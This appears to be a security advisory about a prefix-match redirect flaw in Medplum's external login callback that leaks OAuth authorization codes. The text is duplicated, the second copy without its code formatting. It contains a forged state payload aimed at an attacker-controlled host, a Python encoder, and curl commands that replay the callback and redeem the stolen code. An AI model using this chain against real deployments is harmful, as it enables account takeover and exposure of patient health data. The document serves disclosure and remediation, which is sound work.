Summary
The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.
Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.
Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.
In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:
getClientRedirectUri(client, body.redirectUri, true)
The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:
requestedUri.startsWith(uri)
As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().
Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.
A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
- Registered:
http://callback.audit.local
- Malicious:
http://callback.audit.local.oastify.com/cb
The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.
Steps to Reproduce
Preconditions
- The target
ClientApplication has an identityProvider configured.
- The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
- Registered redirect URI:
http://callback.audit.local
- The attacker controls a collaborator endpoint such as:
https://<collaborator-host>/cb
- The attacker uses a forged
state.redirectUri that starts with the registered value, for example:
http://callback.audit.local.oastify.com/cb- or a collaborator domain that matches your local proof setup
Example forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY
Replay the external callback with cURL
Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
Expected result
The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>
Collaborator proof
If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.
Optional impact validation
If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:
curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'
Impact
The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow.
-
Full Account Takeover (ATO):
An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.
-
Bypassing Modern OAuth Protections:
This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.
-
Cross-Origin Data Leakage:
The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.
-
Access to Sensitive Healthcare Data (PHI):
Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.
-
Victim Trust Exploitation:
The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.
Mitigation
- Require exact string equality for redirect URIs.
- Bind external auth state to a server-side session or use a HMAC/Signature.
- Reject prefixable or ambiguous redirect URI shapes during registration.
References
sAjibuu Reporter
Summary
The external identity provider callback at
GET /auth/externalaccepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplumloginandcodevalues to that attacker-supplied URL and issues a redirect.Because the external login request
stateis serialized as raw JSON and later trusted by the callback, an attacker who can tamper withstate.redirectUrican cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route
GET /auth/external.In
externalCallbackHandler(), the server parses the external authstateand uses the decodedclientIdandredirectUriafter completing the IdP code exchange. If login succeeds and a client is found, the handler calls:getClientRedirectUri(client, body.redirectUri, true)The third argument explicitly enables partial matching. In
getClientRedirectUri(), the function returns the attacker-suppliedrequestedUriwhenever:requestedUri.startsWith(uri)As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into
new URL(redirectUri), and the server appendsloginandcodequery parameters before callingres.redirect().Although
externalCallbackHandler()later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
http://callback.audit.localhttp://callback.audit.local.oastify.com/cbThe client-side external auth flow serializes the login request directly into the IdP
stateas JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.Steps to Reproduce
Preconditions
ClientApplicationhas anidentityProviderconfigured.http://callback.audit.localhttps://<collaborator-host>/cbstate.redirectUrithat starts with the registered value, for example:http://callback.audit.local.oastify.com/cbExample forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}URL-encode the forged state
Replay the external callback with cURL
Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>Expected result
The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
Collaborator proof
If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.
Optional impact validation
If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:
Impact
The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow.
Full Account Takeover (ATO):
An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.
Bypassing Modern OAuth Protections:
This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.
Cross-Origin Data Leakage:
The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.
Access to Sensitive Healthcare Data (PHI):
Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.
Victim Trust Exploitation:
The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.
Mitigation
References